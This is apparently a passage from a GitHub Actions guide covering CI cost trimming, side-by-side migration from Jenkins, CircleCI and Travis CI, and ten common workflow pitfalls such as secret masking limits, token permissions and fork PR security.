lint-and-test:
runs-on: ubuntu-latest # 1× multiplier
steps:
- uses: actions/checkout@v4
- run: npm ci && npm test
macos-integration:
needs: lint-and-test # Only runs if lint passes
runs-on: macos-latest # 10× multiplier
steps:
- uses: actions/checkout@v4
- run: npm ci && npm run test:e2e:macos
By gating the macOS job behind the Linux job with needs, you avoid burning macOS minutes on code that would fail the basic lint check anyway.
5. Clean Up Artifacts and Set Short Retention
Don't keep build artifacts around for 90 days if you only need them for a deployment that happens within hours. Set retention-days on your artifact uploads to the minimum you need. For most CI artifacts, 1–7 days is plenty.
- uses: actions/upload-artifact@v4
with:
name: build-output
path: dist/
retention-days: 3
Set a calendar reminder to check your Actions usage report once a month. Look for workflows with high run counts but low value (scheduled jobs that could run less frequently, matrix builds testing OS versions nobody uses). A quarterly review of your workflow architecture — merging redundant workflows, pruning stale matrix entries — typically yields 20–40% savings.
Migration Guide: Jenkins, CircleCI, and Travis CI
Migrating CI/CD pipelines to GitHub Actions doesn't require a full rewrite. Each major CI system — Jenkins, CircleCI, and Travis CI — has direct conceptual counterparts in GitHub Actions. Once you understand the mapping, you can translate pipelines systematically rather than guessing.
This guide gives you side-by-side comparisons for each platform so you can see exactly how your existing configurations translate.
Concept Mapping at a Glance
Before diving into code, here's how the core concepts align across all four systems. Use this as a quick-reference cheat sheet during migration.
| Concept | Jenkins | CircleCI | Travis CI | GitHub Actions |
|---|---|---|---|---|
| Config file | Jenkinsfile | .circleci/config.yml | .travis.yml | .github/workflows/*.yml |
| Pipeline unit | Stage | Job | Job (lifecycle) | Job |
| Task unit | Step | Step | Script block | Step |
| Reusable logic | Shared Library | Orb | Build import | Reusable Workflow / Action |
| Execution env | Agent / Node | Executor | os: / dist: | Runner (runs-on) |
| Plugins / Extensions | Jenkins Plugin | Orb | Add-ons | Action |
| Secrets | Credentials store | Context / Env vars | Env vars (settings) | Secrets & Variables |
| Parallelism | Parallel stages | Parallelism key | Matrix builds | Matrix strategy |
| Caching | Plugin-based | Built-in save_cache/restore_cache | Built-in cache: | actions/cache |
Migrating from Jenkins
Jenkins Declarative Pipelines use Jenkinsfile with a pipeline block containing stages and steps. GitHub Actions maps these cleanly: Jenkins stages become GitHub Actions jobs, and Jenkins steps become GitHub Actions steps. The agent directive maps to runs-on.
Jenkinsfile → GitHub Actions Workflow
pipeline {
agent any
environment {
NODE_ENV = 'production'
}
stages {
stage('Install') {
steps {
sh 'npm ci'
}
}
stage('Test') {
steps {
sh 'npm test'
}
}
stage('Build') {
steps {
sh 'npm run build'
}
}
stage('Deploy') {
when {
branch 'main'
}
steps {
sh './deploy.sh'
}
}
}
post {
failure {
mail to: 'team@example.com',
subject: "Build failed: ${env.JOB_NAME}",
body: "Check ${env.BUILD_URL}"
}
}
}
name: CI/CD Pipeline
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
env:
NODE_ENV: production
jobs:
install-and-test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci
- run: npm test
build:
needs: install-and-test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci
- run: npm run build
deploy:
needs: build
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: ./deploy.sh
notify-on-failure:
needs: [install-and-test, build, deploy]
if: failure()
runs-on: ubuntu-latest
steps:
- uses: dawidd6/action-send-mail@v3
with:
server_address: smtp.example.com
server_port: 587
username: ${{ secrets.MAIL_USER }}
password: ${{ secrets.MAIL_PASS }}
subject: "Build failed: ${{ github.workflow }}"
to: team@example.com
body: "Check ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}"
Jenkins automatically clones your repository when a pipeline starts. GitHub Actions does not — you must add actions/checkout@v4 as the first step in every job that needs source code. Each job runs on a fresh runner with no shared filesystem.
Shared Libraries → Reusable Workflows & Custom Actions
Jenkins Shared Libraries let you extract common pipeline logic into a separate Git repository and call it with @Library. GitHub Actions offers two equivalents: reusable workflows (for entire job sequences) and custom actions (for individual step logic). Reusable workflows are the closer analog to shared libraries.
Jenkins Plugin → GitHub Action Equivalents
Most popular Jenkins plugins have direct GitHub Action counterparts. Here are the most common mappings:
| Jenkins Plugin | GitHub Action Equivalent |
|---|---|
| NodeJS Plugin | actions/setup-node@v4 |
| Docker Pipeline | docker/build-push-action@v5 |
| Slack Notification | slackapi/slack-github-action@v1 |
| JUnit Plugin | dorny/test-reporter@v1 |
| Git Plugin | actions/checkout@v4 |
| Credentials Binding | ${{ secrets.MY_SECRET }} (built-in) |
| Pipeline: Stage View | Actions tab (built-in visualization) |
| Artifactory Plugin | jfrog/setup-jfrog-cli@v3 |
Migrating from CircleCI
CircleCI's YAML-based configuration is structurally the closest to GitHub Actions. The migration is often the smoothest of the three because both systems use YAML workflows, job-based parallelism, and a marketplace of reusable components. The main differences are in naming conventions and where things live in the config hierarchy.
CircleCI Config → GitHub Actions Workflow
version: 2.1
orbs:
node: circleci/node@5.1
executors:
default:
docker:
- image: cimg/node:20.10
jobs:
test:
executor: default
steps:
- checkout
- node/install-packages:
pkg-manager: npm
- run:
name: Run tests
command: npm test
- store_test_results:
path: test-results
build:
executor: default
steps:
- checkout
- node/install-packages:
pkg-manager: npm
- run: npm run build
- persist_to_workspace:
root: .
paths: [dist]
deploy:
executor: default
steps:
- attach_workspace:
at: .
- run: ./deploy.sh
workflows:
build-test-deploy:
jobs:
- test
- build:
requires: [test]
- deploy:
requires: [build]
filters:
branches:
only: main
name: Build, Test, Deploy
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: npm
- run: npm ci
- run: npm test
build:
needs: test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: npm
- run: npm ci
- run: npm run build
- uses: actions/upload-artifact@v4
with:
name: dist
path: dist/
deploy:
needs: build
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
with:
name: dist
path: dist/
- run: ./deploy.sh
Key CircleCI Mappings
Here are the specific translations to keep in mind when converting CircleCI configuration:
| CircleCI Feature | GitHub Actions Equivalent | Notes |
|---|---|---|
orbs: | Marketplace Actions (uses:) | Actions are referenced per-step, not declared at the top |
executors: | runs-on: + container: | Use container: key for Docker-based executors |
persist_to_workspace | actions/upload-artifact@v4 | Artifacts are uploaded/downloaded explicitly between jobs |
attach_workspace | actions/download-artifact@v4 | Must specify artifact name to download |
store_test_results | dorny/test-reporter@v1 | No built-in test results; use a community action |
save_cache / restore_cache | actions/cache@v4 | Single action handles both save and restore |
context: | Environments + Secrets | GitHub Environments provide similar scoped secrets and approvals |
filters: branches: | if: condition on the job | Branch filtering uses expressions like github.ref == 'refs/heads/main' |
If your CircleCI jobs use custom Docker images as executors, add a container: key under the job in GitHub Actions: container: { image: 'cimg/node:20.10' }. This runs the job inside that container on top of the runner VM.
Migrating from Travis CI
Travis CI uses a lifecycle-based model where your build flows through fixed phases: install, before_script, script, after_success, etc. GitHub Actions doesn't enforce this lifecycle — you define each step explicitly. This gives you more flexibility but means you need to be deliberate about ordering.
.travis.yml → GitHub Actions Workflow
language: node_js
node_js:
- "18"
- "20"
os: linux
dist: focal
cache:
directories:
- node_modules
branches:
only:
- main
- develop
install:
- npm ci
before_script:
- npm run lint
script:
- npm test
- npm run build
after_success:
- npm run coverage:upload
deploy:
provider: pages
skip_cleanup: true
local_dir: dist
on:
branch: main
name: CI
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
jobs:
test:
runs-on: ubuntu-latest
strategy:
matrix:
node-version: [18, 20]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node-version }}
cache: npm
- run: npm ci # install phase
- run: npm run lint # before_script phase
- run: npm test # script phase
- run: npm run build
- run: npm run coverage:upload # after_success
if: success()
deploy:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: npm
- run: npm ci
- run: npm run build
- uses: peaceiris/actions-gh-pages@v3
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
publish_dir: ./dist
Travis CI Lifecycle → GitHub Actions Steps
The Travis lifecycle phases map to sequential steps in a single GitHub Actions job. Here's the direct translation of each phase:
| Travis CI Phase | GitHub Actions Equivalent | Behavior |
|---|---|---|
before_install | Early run: steps | System-level setup (apt-get, etc.) |
install | run: npm ci | Dependency installation |
before_script | run: step before tests | Linting, environment prep |
script | run: test / build steps | Main build and test commands |
after_success | run: with if: success() | Runs only when all previous steps passed |
after_failure | run: with if: failure() | Runs only when a previous step failed |
deploy | Separate job with needs: | Use dedicated actions for each deploy provider |
language + version list | strategy.matrix | Matrix creates parallel runs for each version |
cache: directories: | actions/cache@v4 or setup-node cache: | Many setup actions include built-in caching |
Common Migration Gotchas
Regardless of which system you're migrating from, these are the issues that catch teams most often during their first GitHub Actions migration.
- No shared filesystem between jobs. Every job runs on a fresh VM. Use
actions/upload-artifactandactions/download-artifactto pass files between jobs — or combine steps into a single job when the data transfer overhead isn't worth it. - Secrets are not available in forked PRs. If your CI runs on pull requests from forks, steps that reference
${{ secrets.* }}will get empty strings. Usepull_request_targetcarefully or design tests that work without secrets. - Default shell differences. Jenkins typically uses
sh(via the Jenkins shell step), while GitHub Actions onubuntu-latestdefaults tobash. If you're migrating scripts with subtle shell-isms, setshell: shexplicitly to match behavior. - Checkout depth.
actions/checkout@v4does a shallow clone (depth=1) by default. If your pipeline usesgit log, tags, or history-based versioning, setfetch-depth: 0for a full clone.
Step-by-Step Migration Checklist
Use this process regardless of which CI system you're coming from. It works well for incremental migration — you don't need to move everything at once.
-
Inventory your existing pipelines
List every pipeline, its trigger conditions, environment variables, secrets, and external integrations. Identify which pipelines are critical-path (blocking merges) versus auxiliary (nightly builds, cleanup jobs).
-
Map secrets and credentials
Add all required secrets to GitHub under Settings → Secrets and variables → Actions. For environment-scoped secrets (staging vs production), create GitHub Environments and assign secrets to each.
-
Convert one pipeline at a time
Start with a simple, non-critical pipeline. Translate it using the mappings in this guide. Run both old and new pipelines in parallel to verify identical behavior.
-
Replace plugins with actions
Search the GitHub Actions Marketplace for equivalents to your Jenkins plugins, CircleCI orbs, or Travis add-ons. Pin actions to a specific version tag (e.g.,
@v4) for reproducibility. -
Extract shared logic into reusable workflows
If multiple pipelines share common steps (deploy, notify, lint), create reusable workflows with
workflow_callin a dedicated repository. Reference them from consumer workflows withuses: org/repo/.github/workflows/shared.yml@main. -
Decommission the old system
Once the GitHub Actions workflow has been running reliably for 1–2 weeks alongside the old pipeline, disable the old CI triggers. Keep the old config files in version history — don't delete them immediately — in case you need to reference them.
Common Pitfalls, Gotchas, and How to Avoid Them
GitHub Actions is powerful, but its surface area is large — and the edges are sharp. This section catalogs the ten most common pitfalls that catch even experienced users off guard, with concrete examples and fixes for each one.
1. Expression Syntax in if: — The Implicit ${{ }} Trap
GitHub Actions automatically wraps if: values in ${{ }}, so you can write bare expressions. But this implicit wrapping only applies to if: conditionals — nowhere else. Mixing the two styles leads to subtle bugs.
# Both work for if: — bare expression is fine here
if: github.event_name == 'push'
if: ${{ github.event_name == 'push' }}
# But env:, run:, and with: REQUIRE explicit ${{ }}
env:
IS_MAIN: ${{ github.ref == 'refs/heads/main' }}
run: echo "Deploying to ${{ github.ref_name }}"
# BUG: bare expression in env: is treated as a literal string
env:
IS_MAIN: github.ref == 'refs/heads/main'
# IS_MAIN now literally equals "github.ref == 'refs/heads/main'"
# BUG: double-wrapping in if: can cause string coercion issues
if: ${{ github.event.inputs.deploy == 'true' }}
# Safe, but if: github.event.inputs.deploy == 'true' is cleaner
# The risk: nested ${{ }} in complex expressions can silently
# coerce values to strings before comparison
When you use ${{ }} inside a run: block, the expression value is interpolated before the shell sees it. This opens the door to script injection if the value comes from untrusted input like a PR title. Prefer setting an environment variable with env: and referencing $ENV_VAR in the script instead.
2. Secret Masking Limitations
GitHub Actions automatically masks secrets in log output — but the masking is purely a string-match against the exact secret value. If the value is transformed, encoded, or split across lines, it will leak in plain text.
What masking does NOT catch
- Base64-encoded secrets —
echo "$SECRET" | base64outputs the encoded form unmasked. - JSON-structured secrets — Individual fields within a JSON secret are not masked, only the entire blob.
- Short secrets — Values shorter than 4 characters are never masked at all.
- Secrets in error URLs — A secret accidentally embedded in a URL that appears in an error message will show up verbatim.
# Danger: derived values are NOT masked automatically
- run: |
# This will print the base64 value in clear text!
echo "$MY_SECRET" | base64
# Fix: register derived values as masked
ENCODED=$(echo "$MY_SECRET" | base64)
echo "::add-mask::$ENCODED"
echo "encoded=$ENCODED" >> "$GITHUB_OUTPUT"
env:
MY_SECRET: ${{ secrets.API_KEY }}
Rule of thumb: any time you transform a secret, immediately call ::add-mask:: on the result before it can reach a log line.
3. GITHUB_TOKEN Permission Gotchas
The automatic GITHUB_TOKEN is scoped per-workflow-run. Starting in 2023, new repositories default to read-only permissions. This trips up anyone who expects the token to just work for pushing commits, creating releases, or writing to packages.
# Declare permissions at the TOP of your workflow
permissions:
contents: write # needed to push tags, create releases
pull-requests: write # needed to comment on PRs
packages: write # needed to publish to GHCR
jobs:
release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: |
git tag v1.0.0
git push origin v1.0.0
| Common Task | Permission Needed | Default (New Repos) |
|---|---|---|
| Checkout code | contents: read | ✅ Granted |
| Push commits/tags | contents: write | ❌ Denied |
| Comment on PRs | pull-requests: write | ❌ Denied |
| Publish to GHCR | packages: write | ❌ Denied |
| Create deployments | deployments: write | ❌ Denied |
| Read org secrets | secrets: read (org-level) | ❌ Denied |
Two additional gotchas: the GITHUB_TOKEN cannot trigger other workflows (to prevent recursive loops), and it cannot access resources in other repositories. For cross-repo operations you need a GitHub App token or a PAT.
4. Caching Across Branches
The actions/cache action has branch-scoping rules that confuse many users. A cache created on a feature branch is not available to the default branch. Caches follow a specific lookup hierarchy: the current branch first, then the base branch (for PRs), then the default branch.
# Cache lookup order for a PR from feature/x -> main:
# 1. Exact key match on refs/pull/123/merge
# 2. restore-keys prefix match on refs/pull/123/merge
# 3. Exact key match on refs/heads/main (base branch)
# 4. restore-keys prefix match on refs/heads/main
- uses: actions/cache@v4
with:
path: ~/.npm
# Include the hashFiles so cache invalidates when deps change
key: npm-${{ runner.os }}-${{ hashFiles('**/package-lock.json') }}
# Fallback: any npm cache on this OS (allows partial hits)
restore-keys: |
npm-${{ runner.os }}-
Practical implications
- Warm your default branch cache first. Run the workflow on
mainafter merging so that feature branches can inherit the cache. - Cache is per-repo. Forked repositories have completely separate cache namespaces — fork PRs start cold.
- 10 GB limit per repo. Once exceeded, the oldest entries are evicted. Use precise keys to avoid cache bloat.
5. Matrix Job Naming Collisions
When you use a matrix strategy, GitHub generates job names by appending the matrix values. If your matrix produces duplicate display names, required status checks break because GitHub cannot distinguish the jobs. This frequently happens with complex matrices that include/exclude entries.
# Problem: changing the matrix breaks required status checks
# because the job name changes from "test (18)" to "test (20)"
jobs:
test:
strategy:
matrix:
node: [18, 20, 22] # If you remove 18, the check name changes
# Fix: use an explicit name that's stable
jobs:
test:
strategy:
matrix:
node: [18, 20, 22]
name: "test (node-${{ matrix.node }})"
runs-on: ubuntu-latest
steps:
- uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node }}
For branch protection rules, always set the required status check to match the exact generated name including the matrix value in parentheses. If you use include: to add extra matrix dimensions, remember that those values also appear in the name. Test the naming by triggering a run before configuring the branch protection rule.
6. Concurrency Group Pitfalls
The concurrency key prevents multiple runs of the same workflow from overlapping. But an incorrect group key can cause unrelated runs to cancel each other, or fail to cancel runs you actually want to deduplicate.
# BAD: group is just the workflow name — ALL branches share it
# Pushing to feature-a cancels the running deploy on main!
concurrency:
group: deploy
cancel-in-progress: true
# GOOD: scope the group to the branch/PR
concurrency:
group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}
cancel-in-progress: true
# CAREFUL: for production deploys, do NOT cancel in progress
concurrency:
group: deploy-production
cancel-in-progress: false # queue instead of cancel
Using cancel-in-progress: true on deployment workflows can leave your infrastructure in a partially-deployed state. For production jobs, use cancel-in-progress: false — the pending run will queue and start after the current one finishes.
Also note: github.head_ref is only set for pull_request events. The || github.ref fallback ensures the group key is still unique for push events. Without it, all push-triggered runs would share the empty-string group and cancel each other.
7. Path Filter Edge Cases
Path filters (paths: and paths-ignore:) control whether a workflow triggers based on which files changed. The edge cases are numerous and often surprising.
Key gotchas
- First commit on a new branch: the diff is computed against the default branch. If the branch has many unrelated changed files, the path filter may fire unexpectedly.
- Required status checks + path filters = deadlock: if the workflow doesn't trigger (because no paths matched), the PR is stuck waiting for a check that will never arrive.
- Merge commits: the diff includes all files in the merge, not just the files in the PR. Merge commits from
maininto a feature branch can trigger path-filtered workflows unexpectedly.
# The "required checks" workaround:
# Use dorny/paths-filter inside the job instead of trigger-level paths:
on: pull_request
jobs:
check-changes:
runs-on: ubuntu-latest
outputs:
backend: ${{ steps.filter.outputs.backend }}
steps:
- uses: dorny/paths-filter@v3
id: filter
with:
filters: |
backend:
- 'src/api/**'
- 'src/models/**'
test-backend:
needs: check-changes
if: needs.check-changes.outputs.backend == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test
This approach ensures the parent workflow always triggers (satisfying the required check), while the expensive test job is conditionally skipped. The status check name remains consistent regardless of which files changed.
8. Fork PR Security
When a contributor opens a PR from a fork, the workflow runs in a restricted security context. This is by design — the fork author could modify the workflow file to exfiltrate secrets. Understanding the boundaries is critical for public repositories.
| Capability | pull_request from fork | pull_request_target |
|---|---|---|
| Secrets available | ❌ No | ✅ Yes |
| GITHUB_TOKEN permissions | Read-only | Write (base repo scope) |
| Code checked out | Fork's merge commit | Base branch (not fork) |
| Workflow file used | Fork's version | Base branch version |
A common anti-pattern is using pull_request_target to get secrets, then checking out the fork's code with actions/checkout@v4 using ref: ${{ github.event.pull_request.head.sha }}. This gives the fork's potentially malicious code access to your secrets. If you need to build fork code with secrets, use a two-workflow approach: one untrusted job that produces artifacts, and a separate trusted workflow that consumes them.
# SAFE pattern: pull_request_target that only reads base branch code
on: pull_request_target
jobs:
label:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
# This checks out the BASE branch, not the fork — safe
- uses: actions/checkout@v4
- uses: actions/labeler@v5
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
9. Schedule (Cron) Drift and Reliability
The schedule trigger uses POSIX cron syntax and runs on the default branch only. But scheduled workflows are not guaranteed to run at the exact specified time — during periods of high load, delays of 10–30 minutes (or more) are common.
Things that go wrong
- Inactive repos lose their schedules. If a repository has no commits, issues, or other activity for 60 days, GitHub silently disables scheduled workflows. You must re-enable them manually in the Actions tab.
- Cron runs only on the default branch. A scheduled workflow on a feature branch will never fire. The cron definition in the default branch's workflow file is the only one that matters.
- Minute-level precision is unreliable. Don't depend on exact timing. If your job needs to run within a tight window, consider an external scheduler (e.g., AWS EventBridge) that triggers via
workflow_dispatch. - Multiple cron entries: you can specify up to 5 schedules, but they share the same workflow — you can't easily distinguish which schedule triggered the current run.
on:
schedule:
# Run at 06:00 UTC on weekdays
- cron: '0 6 * * 1-5'
# Also allow manual trigger for testing
workflow_dispatch:
jobs:
nightly:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: |
# Defensive: verify we haven't drifted too far
HOUR=$(date -u +%H)
if [ "$HOUR" -gt 8 ]; then
echo "::warning::Cron ran ${HOUR}:xx UTC, expected ~06:00"
fi
npm run integration-tests
10. Action Version Pinning and Breaking Changes
Referencing actions by major version tag (e.g., @v4) is the most common approach, but it's a floating reference — the maintainer can push a new minor or patch release that changes behavior. On the other end, pinning to a full commit SHA is the most secure but makes updates tedious.
# OPTION 1: Major version tag (convenient, less secure)
- uses: actions/checkout@v4
# OPTION 2: Full SHA pin (secure, hard to maintain manually)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
# OPTION 3: SHA pin + Dependabot (best of both worlds)
# Add .github/dependabot.yml:
# updates:
# - package-ecosystem: "github-actions"
# directory: "/"
# schedule:
# interval: "weekly"
| Strategy | Security | Maintenance | Recommended For |
|---|---|---|---|
Major tag (@v4) | Medium — trusts maintainer | Low | Personal projects, trusted actions |
Exact tag (@v4.1.1) | Medium — tags are mutable | Medium | Not recommended (false sense of security) |
| SHA pin | High — immutable reference | High (without automation) | Production, compliance-sensitive repos |
| SHA pin + Dependabot | High | Low | Best practice for all repositories |
When a popular action releases a new major version (e.g., actions/cache@v3 → v4), your existing @v3 reference keeps working — but it stops receiving patches. Subscribe to the action's repository releases (Watch → Custom → Releases) so you know when to migrate. Most major bumps drop support for older Node.js runtimes, which matters because GitHub periodically removes old runner Node.js versions.
The combination of SHA pinning with Dependabot (or Renovate) automated PRs gives you both security and maintainability. The bot creates PRs with updated SHAs, you review the changelog, and merge — keeping your workflows deterministic without manual hash hunting.